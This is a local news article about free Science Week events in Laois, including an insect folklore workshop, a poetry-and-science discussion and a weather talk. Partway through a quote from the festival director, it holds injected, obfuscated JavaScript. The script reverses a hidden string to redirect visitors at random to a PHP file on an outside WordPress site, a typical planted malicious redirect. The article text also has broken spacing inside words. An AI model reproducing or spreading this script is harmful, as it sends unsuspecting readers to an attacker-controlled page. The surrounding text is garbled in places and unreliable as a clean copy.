EXCITING SCIENCE WEEK EVENTS FOR LAOIS

One of the activities visi tors can look forward to in Laois this year is an insect folklore video workshop with en tomologist Nessa Darcy which includes a short learning session about insects, their habitats and conservation needs. Children will get a chance to make up their own insect s tory, which will be recorded, and to create their own rudimentary paper insect puppets and background to act out a video to illustrate their s tory. This workshop is suitable for aged 8+ and takes place in Portarling ton Library on November 14th at 11:00am and again at 2:00pm.

Jackie Gorman, Midlands Science Festival Direc tor said,

‘We have a unique poetry reading by writer, Eleanor Hooker and a discussion with journalist, Claire O’Brien on poetry and how it describes the natural world as compared to science, how the arts and humanities relate to each other in Portlaoise Library on Friday, November 16th. This will be a wide-ranging and interesting dialogue about the conflicts and connections between the arts and science. We will be celebrating science in schools and campuses, in libraries and out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors and we want as many people as people to come along and see that science is not just for academics and lab coats-it is everywhere and there for us all to enjoy. We are particularly looking forward to the ‘science of weather’ talk with well-known weather forecaster, Gerald Fleming. This will take place on the evening of November 13th in Midlands Park Hotel in Portlaoise and we look forward to welcoming people of all ages.’

This is the sixth year that a dedicated programme of free Science Week events is being rolled out in the counties of Laois, Offaly, Westmeath and Longford. It will bring together a large number of interested participants including science communica tors, performers and researchers, science and technology speakers, science and TY students, mini scientists and the general public from all over the Midlands and beyond.

Jackie Gorman continued,

‘We also have some workshops from Make Port available in Portarling ton this year. This includes a tour of Fab Lab and workshop sessions covering electronics, laser engraving and 3D printing. The science festival is a real celebration of science and features something for everyone to enjoy. The Rediscovery workshops will also be back in the Midlands during Science Week, this time in Mountmellick Library on Nov 16th. In a 90 minute hands-on and fun workshop with the team from The Rediscovery Centre, children will learn about a whole range of science and environmental topics. This fun and engaging workshop is being provided by the Rediscovery Centre who are focussed on the science of sustainability in our communities.